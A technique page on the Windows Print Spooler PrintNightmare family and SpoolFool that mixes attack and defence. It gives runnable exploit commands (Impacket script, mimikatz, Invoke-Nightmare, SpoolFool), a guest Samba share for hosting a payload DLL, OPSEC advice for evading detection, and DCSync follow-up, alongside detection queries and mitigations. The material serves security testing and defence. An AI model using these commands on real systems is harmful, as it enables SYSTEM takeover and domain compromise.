How it works
The Windows Print Spooler (spoolsv.exe) runs as SYSTEM on every Windows computer, including every domain controller, and exposes RPC interfaces for remote printing: MS-RPRN over the \pipe\spoolss named pipe and MS-PAR over TCP. Installing a printer driver is one of the operations those interfaces offer. A driver is a set of DLLs that the spooler copies into its driver directory and loads into its own process.
PrintNightmare is the name for a family of flaws in that path. In the original vulnerability, RpcAddPrinterDriverEx (and its MS-PAR counterpart RpcAsyncAddPrinterDriver) accepted a driver from a caller who was not allowed to install one. The caller supplied a driver description whose files pointed at a DLL of their choice, on a local path or a UNC share, and the spooler copied the DLL and loaded it as SYSTEM. Any authenticated domain user could do this to any reachable spooler.
The variants on this page share that outcome but differ in where the attacker stands:
- Remote driver load (CVE-2021-34527, CVE-2021-1675). A domain user calls the spooler of another computer over RPC. Against a domain controller this is a one-step path from any account to the domain. It is both privilege escalation and lateral movement.
- Local elevation. The same call made on the local machine turns a standard user into SYSTEM.
- Point and Print driver installation (CVE-2021-34481). Point and Print lets a client fetch a driver from a print server when it connects to a queue. Where policy lets non-administrators install drivers this way, a user who connects to a print server they control gets its "driver" loaded as SYSTEM.
- SpoolFool (CVE-2022-21999). A later local elevation that works on systems patched against the 2021 flaws. A user who can create or manage a printer sets the printer's
SpoolDirectoryto a path that ends up inside the driver directory, places a DLL there and makes the spooler load it. - Print processor persistence (T1547.012). A print processor is a DLL the spooler loads at start. An attacker who already has administrator rights registers one under
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\<architecture>\Print Processors\<name>(theDrivervalue names the DLL) and gets SYSTEM code execution each time the service starts.
The fixes changed defaults rather than removing the feature. Since the updates of August 10, 2021, installing a printer driver through Point and Print requires administrator rights unless RestrictDriverInstallationToAdministrators is set to 0. Many organizations set that value so users can add printers themselves, and with it they restore the conditions for the attack.
The spooler has a second, unrelated problem: any authenticated user can make it authenticate to a host of their choice. That is covered on the authentication coercion page. Stored printer credentials are covered on the printer pass-back page.
Prerequisites
- The Print Spooler service is running on the target. It is enabled by default on Windows clients and servers.
- For the remote variant: a valid domain account, and network access to the target's spooler (SMB on TCP 445 for the named pipe, or RPC over TCP).
- A target that is either missing the 2021 updates, or has the Point and Print restrictions relaxed. The weak state is:
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
- For the remote variant: a DLL the target can read, normally on an SMB share that allows anonymous access, because the spooler fetches it with the computer's own identity.
- For SpoolFool: a local account on a system without the fix for CVE-2022-21999.
- For print processor persistence: administrator rights on the host (the
AddPrintProcessorAPI needsSeLoadDriverPrivilege).
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find reachable spoolers
Impacket's rpcdump.py lists the RPC interfaces a host exposes. If the print protocols are in the output, the spooler is running and reachable:
rpcdump.py @192.0.2.10 | egrep 'MS-RPRN|MS-PAR'
On a host where the attacker already has a session, check the policy that decides whether the patched system is still exploitable:
reg query "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
2. Remote driver load against a server
Host the payload DLL on a share the target can read without credentials. With Samba, a guest share is enough:
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
smb ports = 445
[smb]
path = /tmp/
guest ok = yes
read only = no
browsable = yes
Then call the target's spooler with the Impacket-based exploit by cube0x0. It takes the target in Impacket's usual domain/user:password@host form and the path of the DLL:
# DLL on the attacker's share
./CVE-2021-1675.py corp.example.com/alice:'<password>'@192.0.2.10 '\\192.0.2.50\smb\payload.dll'
# With an NT hash instead of a password
./CVE-2021-1675.py -hashes ':<nthash>' corp.example.com/alice@192.0.2.10 '\\192.0.2.50\smb\payload.dll'
# DLL that already exists on the target's disk
./CVE-2021-1675.py corp.example.com/alice:'<password>'@192.0.2.10 'C:\Windows\Temp\payload.dll'
Mimikatz implements the same call from Windows. With /server it uses MS-PAR over TCP; without it, it attacks the local spooler:
mimikatz # misc::printnightmare /server:DC01.corp.example.com /library:\\192.0.2.50\smb\payload.dll
mimikatz # misc::printnightmare /library:C:\Windows\Temp\payload.dll
The spooler copies the DLL to C:\Windows\System32\spool\drivers\x64\3\ and loads it. The DLL's entry point runs as SYSTEM.
3. Local elevation
Invoke-Nightmare is a PowerShell implementation that uses only the local spooler functions. It carries an embedded DLL that adds a local administrator:
Import-Module .\cve-2021-1675.ps1
# Default: adds the user adm1n with the password P@ssw0rd to the local Administrators group
Invoke-Nightmare
# Choose the account
Invoke-Nightmare -DriverName "Xerox" -NewUser "alice2" -NewPassword "<password>"
# Load your own DLL instead
Invoke-Nightmare -DLL "C:\absolute\path\to\payload.dll"
4. SpoolFool on systems patched for the 2021 flaws
.\SpoolFool.exe -dll add_user.dll
.\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
# PowerShell version
Import-Module .\SpoolFool.ps1
Invoke-SpoolFool -dll add_user.dll
The tool does not restore the printer's SpoolDirectory value and leaves the payload DLL, the created printer and the created driver directory behind.
5. Use SYSTEM
On a member server the attacker dumps credentials or installs a service. On a domain controller, SYSTEM is the domain controller's computer account, which holds replication rights: the attacker can run DCSync or copy the directory database.
Impact
One domain account becomes SYSTEM on any host with a reachable, exploitable spooler. Because domain controllers run the spooler by default, the remote variant is a direct route to full domain compromise. On workstations and servers the local variants give SYSTEM to any user who can run code, which defeats the separation between standard users and administrators and exposes the credentials of everyone signed in to that machine.
The print processor variant is persistence rather than access: code that returns as SYSTEM after every restart of the service, inside a signed Windows process.
OPSEC and artifacts
- Payload placement. Pointing the exploit at a DLL already on the target's disk avoids the outbound SMB connection from the target to the attacker's share. Either way the spooler copies the DLL into
C:\Windows\System32\spool\drivers\<architecture>\3\, and the copy stays there after the exploit ends. - In-process payloads. A DLL that does its work inside
spoolsv.execreates no child process, so rules that only watch forcmd.exeorpowershell.exeunder the spooler miss it. The image load of an unsigned DLL from the driver directory intospoolsv.exeorPrintIsolationHost.exeis still recorded by Sysmon event 7 or EDR, when image load collection is on. - Driver registration. The exploit registers a printer driver, usually with a random or copied name. PrintService Operational event 316 ("Printer driver ... was added or updated", with the file names) records it, but that log is disabled by default. Mimikatz deletes the driver registration again after the load, so the 316 event and the copied DLL can be all that remains.
- Failed attempts. A DLL that fails to load raises PrintService Admin event 808 ("The print spooler failed to load a plug-in module"), and a failed driver installation raises event 215. A crashing payload takes the spooler down, which users notice.
- Default payload traces.
Invoke-Nightmareadds a local administrator namedadm1nunless told otherwise: events 4720 and 4732 on the host. - Authentication. The remote call is an authenticated network logon to the target: event 4624, type 3, for the attacker's account, from the attacker's address.
Detection
- Modules loaded by the spooler. Compare what
spoolsv.exeandPrintIsolationHost.exeload against your approved driver packages. In Microsoft Defender XDR:
DeviceImageLoadEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ ("spoolsv.exe", "PrintIsolationHost.exe")
| where FolderPath has @"\spool\drivers\"
| project Timestamp, DeviceId, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA1
| order by Timestamp desc
- Children of the spooler. A shell, script host or
rundll32.exestarted byspoolsv.exeis rare in normal operation. Process creation is in event 4688 or Sysmon event 1. - Outbound connections from the spooler. A server whose spooler opens SMB to a workstation or an unknown address is fetching a driver from somewhere it should not:
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName =~ "spoolsv.exe"
| where RemotePort == 445
| project Timestamp, DeviceId, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl
| order by Timestamp asc
SMB client connections are often attributed to the kernel (System, PID 4) instead of the spooler, so pair this with firewall logs for the server segment.
- PrintService events. Enable
Microsoft-Windows-PrintService/Operationalon print servers and domain controllers and collect event 316; collect Admin events 808 and 215 everywhere. - Print processor registration. Watch for new subkeys under
...\Control\Print\Environments\*\Print Processors\(Sysmon event 13) outside a driver rollout. - Policy drift. Report every computer where
RestrictDriverInstallationToAdministratorsis0. Those are exploitable regardless of patch level.
An approved driver rollout produces the same file writes, image loads and 316 events on many machines at once. Match detections against the deployment record before raising an incident.
Mitigation
- Disable the Print Spooler where printing is not needed, starting with domain controllers and other Tier 0 servers:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
Domain controllers with the spooler disabled no longer prune stale published printers from the directory. Decide whether that matters before changing them.
- Block remote access to the spooler where local printing must keep working. Disable the Group Policy setting "Allow Print Spooler to accept client connections" (Computer Configuration, Administrative Templates, Printers) and restart the service. The computer can still print but no longer accepts remote print RPC.
- Install current cumulative updates on every client and server, and verify the build after deployment.
- Keep driver installation restricted to administrators.
RestrictDriverInstallationToAdministratorsshould be1or absent, and the Point and Print prompts should stay at their secure values (NoWarningNoElevationOnInstall = 0,UpdatePromptSettings = 0). Deploy required drivers with your software distribution system instead of weakening the policy. The gpresult and RSoP guide shows how to confirm the effective policy on a machine. - Limit which print servers clients trust with the "Package Point and Print - Approved servers" and "Point and Print Restrictions" policies, and control who administers those servers.
- Restrict who can manage printers and drivers. Membership of Print Operators and local administrator rights on print servers are paths to the same outcome. The wider Tier 0 controls are in the Active Directory hardening guide.
Log events to collect
FAQ
Is PrintNightmare still exploitable on patched systems?
The original remote attack is closed on updated systems, because since the August 10, 2021 updates only administrators may install printer drivers by default. A host becomes exploitable again when policy sets RestrictDriverInstallationToAdministrators to 0, usually to let users install printers without a helpdesk call. Check that value before assuming a patched host is safe.
What is the difference between CVE-2021-1675 and CVE-2021-34527?
They are two advisories for flaws in the same driver installation path of the Print Spooler. CVE-2021-1675 was fixed in the June 2021 updates. CVE-2021-34527 is the remote code execution advisory that Microsoft addressed with out-of-band updates in July 2021, after public exploits still worked on systems with the June fix. The name PrintNightmare is used for both.
Should the Print Spooler be disabled on domain controllers?
Yes, unless a documented dependency needs it. A domain controller rarely prints, and a running spooler exposes it both to driver-loading flaws and to authentication coercion. The one side effect is that domain controllers stop pruning stale published printers from Active Directory, so check whether you rely on that.
How do you detect PrintNightmare exploitation?
Look for DLLs written to the spooler's driver directory and loaded by spoolsv.exe that don't belong to an approved driver package, child processes of spoolsv.exe, the spooler fetching files from an unusual SMB share, and PrintService events 316 and 808. The PrintService Operational log is disabled by default and has to be enabled first.
References
- CVE-2021-34527: Windows Print Spooler remote code execution vulnerability (MSRC)
- CVE-2021-1675: Windows Print Spooler vulnerability (MSRC)
- KB5005652: Manage new Point and Print default driver installation behavior (Microsoft Support)
- KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates (Microsoft Support)
- Exploitation for Privilege Escalation, T1068 (MITRE ATT&CK)
- Boot or Logon Autostart Execution: Print Processors, T1547.012 (MITRE ATT&CK)
- CVE-2021-1675 / CVE-2021-34527 Impacket implementation (cube0x0)
- SpoolFool, CVE-2022-21999 (ly4k)
- Event IDs associated with Point and Print restrictions (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.